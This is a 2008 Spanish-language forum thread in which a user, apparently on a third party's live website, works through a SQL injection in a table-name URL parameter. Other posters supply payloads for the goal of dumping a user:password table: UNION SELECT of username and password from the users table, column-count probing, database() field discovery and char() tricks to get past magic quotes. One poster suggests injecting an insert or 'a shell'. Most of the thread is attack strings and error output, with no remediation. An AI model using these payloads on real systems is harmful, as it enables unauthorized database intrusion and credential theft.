Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: PaPeRrO en 21 Mayo 2008, 22:12 pm



Título: MySQL Problemas con inyección en el nombre de la tabla
Publicado por: PaPeRrO en 21 Mayo 2008, 22:12 pm
buenas! un amigo me dijo esta haciendo una web y me dijo que mirase las vulnerabilidades, le dije que no sabia mucho pero que lo intentaria asique bueno..
hasta el momento no me habia puesto a investigar sobre inyecciones sql y creo que es buen momento el caso es que he estado probando en el documento .php del login y no he encontrado nada pero luego he probado en otro y he obtenido mejores resultados.

uno de los apartados me lleva a esta url
http://www.web.com/index.php?tabla=obranueva

entonces se me a ocurrido probar a ver si existe la tabla usuarios
http://www.web.com/index.php?tabla=usuarios

y perfecto parece que esta esta tabla existe, pero por la consulta sql me da este error.
.

MySQL Error: Unknown column 'nombre' in 'field list'


entonces pongo el tipico 1=1 a ver si hay inyeccion
http://www.web.com/index.php?tabla=usuarios AND 1=1

y recibo este error

DB Error
MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'and 1=1 order by hoy DESC LIMIT 0, 4' at line 1


por lo que calculo que la sentencia para la consulta es algo asi como
select * from tabla order by hoy DESC LIMIT 0, 4'

he probado a poner
AND 1=1--
AND 1=1;
'AND 1=1--
'AND 1=1;
y mil cosas mas pero siempre obtengo ese error.

estoy bastante atrapado

alguna pista? que se me escapa?


Título: Re: atascado con inyeccion sql
Publicado por: Leber en 21 Mayo 2008, 23:11 pm
Puedes probar a poner un comentario despues del and 1=1, es decir, asi:

?tabla=usuarios and 1=1/*

y asi no se ejecuta el order by que hay detras


Título: Re: atascado con inyeccion sql
Publicado por: sirdarckcat en 21 Mayo 2008, 23:12 pm
mmm supongo hacen:

SELECT nombre,demas FROM <inyeccion aqui>

intenta:

obranueva UNION SELECT username,password,1,2,3,4 FROM usuarios /*

cambia:
username,password,1,2,3,4

por los nombres de las columnas y la cantidad de columnas correcta


Título: Re: atascado con inyeccion sql
Publicado por: PaPeRrO en 21 Mayo 2008, 23:37 pm
he dado con el nombre de las columnas a base de fallos

entonces queda asi
?tabla=obranueva UNION SELECT usuario,pass,1,2,3,4 FROM usuarios
ahora me dice
MySQL Error: The used SELECT statements have a different number of columns

tengo que averiguar el numero de columnas, no se como averiguarlo
tengo que ir poniendo
?tabla=obranueva UNION SELECT usuario,pass,1,2,3,4 FROM usuarios
?tabla=obranueva UNION SELECT usuario,pass,1,2,3,4,5 FROM usuarios
?tabla=obranueva UNION SELECT usuario,pass,1,2,3,4,5,6 FROM usuarios
y asi sucesivamente? hasta dar con el numero de columnas??
aqui ando verde, verde.

no entiendo por que hay que poner 1,2,3,4
muchas gracias sirdarckcat!


Título: Re: atascado con inyeccion sql
Publicado por: Ertai en 22 Mayo 2008, 00:31 am
Prueba con:

obranueva UNION SELECT 1 FROM usuarios
obranueva UNION SELECT 1,1 FROM usuarios
obranueva UNION SELECT 1,1,1 FROM usuarios
obranueva UNION SELECT 1,1,1,1 FROM usuarios
obranueva UNION SELECT 1,1,1,1,1 FROM usuarios

Quizas hay menos columnas que las que has probado.

Cuando des con el numero de campos, lo más probable es que veas 1's en lugares donde había datos en la web.

Entonces te tocará encontrar el nombre de los campos...

Saludos.


Título: Re: atascado con inyeccion sql
Publicado por: PaPeRrO en 22 Mayo 2008, 00:43 am
he estao dandole caña hasta llegar a

obranueva UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1 FROM usuarios
en este punto me dice MySQL Error: Unknown column 'hoy' in 'order clause'.
osea que aqui hay algo no? este es el numero de columnas correcto?


poniendo -- ya no me da ningun error.
obranueva UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1 FROM usuarios --


Título: Re: atascado con inyeccion sql
Publicado por: PaPeRrO en 22 Mayo 2008, 19:15 pm
estoy haciendo esto siguiendo esta pagina
http://www.seguridad-informatica.cl/home/tutorial-inyeccion-sql-basada-en-errores

he encontrado 2 columnas mas probando, pero me faltan otras 8.

lo que estoy intentando ahora es comprobar la existencia de el usuario invitado.
se que existe por tanto pongo

UNION SELECT MIN(usuario),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios WHERE usuario LIKE 'invitado' --

y me devuelve
MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'invitado\' -- order by hoy DESC LIMIT 0, 4' at line 1

si meto
UNION SELECT MIN(usuario),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios WHERE usuario > 'a' --

MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'a\' -- order by hoy DESC LIMIT 0, 4' at line 1


es decir, siempre se queja de las comillas.no se como evitarlo.



Título: Re: atascado con inyeccion sql
Publicado por: sirdarckcat en 22 Mayo 2008, 21:20 pm
tienen las magic quotes.

haz lo que te dije..

obranueva UNION SELECT username,password,1,1,1,1,1,1,1,1,1,1 FROM usuarios /*


Título: Re: atascado con inyeccion sql
Publicado por: PaPeRrO en 22 Mayo 2008, 21:43 pm
osea que no puedo hacer otra cosa? resultados no me muestra.solo es error o no error. asique todo es por blind sql.me equivoco?
ok, he investigado sobre las magic quotes,no sabia lo que eran.
entonces si no puedo poner comillas...

asique tengo que averiguar todas las columnas no?o no es necesario?

al poner
obranueva UNION SELECT usuario,pass,1,1,1,1,1,1,1,1,1,1 FROM usuarios /*
no da error.
si pongo
UNION SELECT MIN(usuario),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios WHERE usuario LIKE pass --
y tampoco me da error
eso me confirma que hay un usuario con el mismo nombre y contraseña no? invitado/invitado

lo que no alcanzo a entender es como dar con el nombre de los usuarios si no puedo poner comillas


Título: Re: atascado con inyeccion sql
Publicado por: ANELKAOS en 22 Mayo 2008, 23:00 pm
Vas bien, debes utilizar SUBSTRING() para dar con el nombre.


Título: Re: atascado con inyeccion sql
Publicado por: PaPeRrO en 23 Mayo 2008, 00:45 am
trato de pensarrrrr xD,dios como quema esto, eso si estoy aprendiendo no sabeis cuanto. no hay nada mejor como pensar jaja

si la sentencia es
select nombre from <inyeccion> order by hoy DESC LIMIT 0, 4

en el momento que meto un AND la cosa peta. pero si meto UNION si puedo meterle cosas.

si pongo en la inyeccion:
order by hoy DESC LIMIT 0, 4 /*
funciona y se ven los resultados

si pudiese meter AND pondria
AND (SELECT length(pass) FROM usuarios where usuario=invitado) = 8
asi comprobaria que la contraseña tiene 8 caracteres (i n v i t a d o)

pero como hago esto si cada vez que meto un AND peta?uf!

si meto      order by hoy DESC LIMIT 0, 4 AND 1=1 /*

dice
MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'and 1=1 /* order by hoy DESC LIMIT 0, 4' at line 1


y si no puedo meter and, como compruebo esto:
 (SELECT length(pass) FROM usuarios where usuario=invitado) = 8

o lo que necesite comprobar?


Título: Re: atascado con inyeccion sql
Publicado por: sirdarckcat en 23 Mayo 2008, 09:33 am
no puedes meter un AND porque no estas dentro de un WHERE.. no es un blind, porque al parecer si te regresa los datos, es muy probable que puedas generar una bonita tabla con usuario:password si haces bien las cosas.

Saludos!!


Título: Re: atascado con inyeccion sql
Publicado por: PaPeRrO en 23 Mayo 2008, 09:41 am
si esque me falta mucho sql por saber. menos mal que el año que viene tendre una asginatura sobre ello.bueno ahora hare unas cuantas pruebas


Título: Re: atascado con inyeccion sql
Publicado por: Azielito en 23 Mayo 2008, 16:30 pm
podrias hacer in insert

Citar
elect nombre from obranueva order by hoy DESC LIMITA 0,4; (INSERT); /* order by hoy DESC LIMIT 0, 4

Del mismo modo, en lugar de  meter usuarios podes meterle una shell ñ_ñ


Título: Re: atascado con inyeccion sql
Publicado por: sirdarckcat en 25 Mayo 2008, 07:42 am
eso no siempre se puede hacer azielito :-X.. solo en sistemas no-mysql
Código:
SELECT * FROM users;(INSERT INTO users VALUES (1,2,3))

Regresa:

Código:

De hecho es muy raro que se pueda, requires que el sistema encargado de hacer las consultas separe las queries individualmente antes de hacer las peticiones.


Título: Re: atascado con inyeccion sql
Publicado por: Azielito en 26 Mayo 2008, 17:52 pm
entiendo '_'

*_*


Título: Re: atascado con inyeccion sql
Publicado por: PaPeRrO en 26 Mayo 2008, 18:04 pm
huelo la miel pero no puedo tocarla.

cada vez que meto un parentesis me da un error, por ejemplo intento dar con el numero de entradas que tiene la tabla usuarios de esta manera
UNION SELECT MIN(usuario),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios WHERE (SELECT Count(*) FROM usuarios) < 1000 /*

y me da este error

MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT Count(*) FROM usuarios) < 1000 /* order by hoy DESC LIMI

siempre que meto un parentesis antes de un select para hacer la comprobacion me da error. que estoy haciendo mal?

lo intento hacer como en el manual de blind sql inyection de ka0x

 PDF  --->   http://www.milw0rm.com/papers/197

esto esta mal?
WHERE (SELECT Count(*) FROM usuarios) < 1000 /*




Título: Re: atascado con inyeccion sql
Publicado por: ChElAnO en 26 Mayo 2008, 18:48 pm

hola,

tambien podrias probar llamando a la funcionar char() en vez de poner el caracter ')' directamente.
busca su numero asci

Citar
poniendo -- ya no me da ningun error.
obranueva UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1 FROM usuarios --

si dices que eso ya funciona, entonces prueba hasta que encuentres cual es el campo mostrado en el html, asi:

obranueva UNION SELECT database(),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios --
obranueva UNION SELECT 1,database(),1,1,1,1,1,1,1,1,1,1 FROM usuarios --
obranueva UNION SELECT 1,1,database(),1,1,1,1,1,1,1,1,1 FROM usuarios --
.
...

hasta que muestre la base de datos que estas utilizando. Luego, sabras en que posicion debes poner username o password, para que te lo muestre.

Algo más, intenta hacer la inyeccion

-1 UNION SELECT database(),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios --

o algo asi, para que no haga un merge de los 2 selects, y sólo muestre el tuyo,
saludos



Título: Re: atascado con inyeccion sql
Publicado por: PaPeRrO en 28 Mayo 2008, 00:52 am

obranueva UNION SELECT database(),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios --
lo de database() no lo entiendo. que se supone que tengo que meter ahi? el nombre de el campo??
es decir:
obranueva UNION SELECT usuario(),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios --
asi?

al meter el -1 me da error sera que tengo que cerrar un parentesis o algo de la primera consulta?

como quedaria lo del char?
CHAR(40) SELECT length(pass) FROM usuarios where usuario=invitado CHAR(41)

da error

MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT length(pass) FROM usuarios where usuario=invitado CHAR(4

algo pasa con la primera consulta, yo normalmente no la termino y no me muestra nada, pero no me da error,, ahora estoy intentando terminarla y luego añadir algo mas para que asi se muestre el contenido.

si pongo
obranueva order by hoy DESC LIMIT 0, 4 /* se ve el contenido perfectamente

pero si pongo
obranueva order by hoy DESC LIMIT 0, 4

obranueva order by hoy DESC LIMIT 0, 4 UNION SELECT usuario,1,1,1,1,1,1,1,1,1,1,1 FROM usuarios --

me dice MySQL Error: Wrong usage of UNION and ORDER BY
¿?¿?¿?